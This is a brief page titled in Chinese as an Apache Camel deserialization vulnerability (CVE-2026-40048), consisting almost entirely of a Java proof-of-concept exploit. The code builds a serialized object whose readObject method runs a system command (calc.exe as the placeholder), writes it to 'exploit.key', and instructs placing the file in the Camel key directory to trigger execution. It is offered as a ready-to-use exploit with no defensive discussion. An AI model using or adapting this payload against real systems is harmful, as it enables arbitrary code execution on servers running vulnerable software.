CVE-2026-40048 Apache Camel反序列化漏洞

import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.io.Serializable; // Malicious payload class class ExploitPayload implements Serializable { private void readObject(java.io.ObjectInputStream in) throws java.io.IOException, ClassNotFoundException { in.defaultReadObject(); try { // Execute arbitrary command (e.g., calculator) Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } } public class GenerateExploit { public static void main(String[] args) { try { // The filename must correspond to a keyId expected by the application String filename = "exploit.key"; FileOutputStream fos = new FileOutputStream(filename); ObjectOutputStream oos = new ObjectOutputStream(fos); // Write the malicious object to the file oos.writeObject(new ExploitPayload()); oos.close(); System.out.println("Generated malicious file: " + filename); System.out.println("Place this file in the Camel key directory to trigger the vulnerability."); } catch (Exception e) { e.printStackTrace(); } } }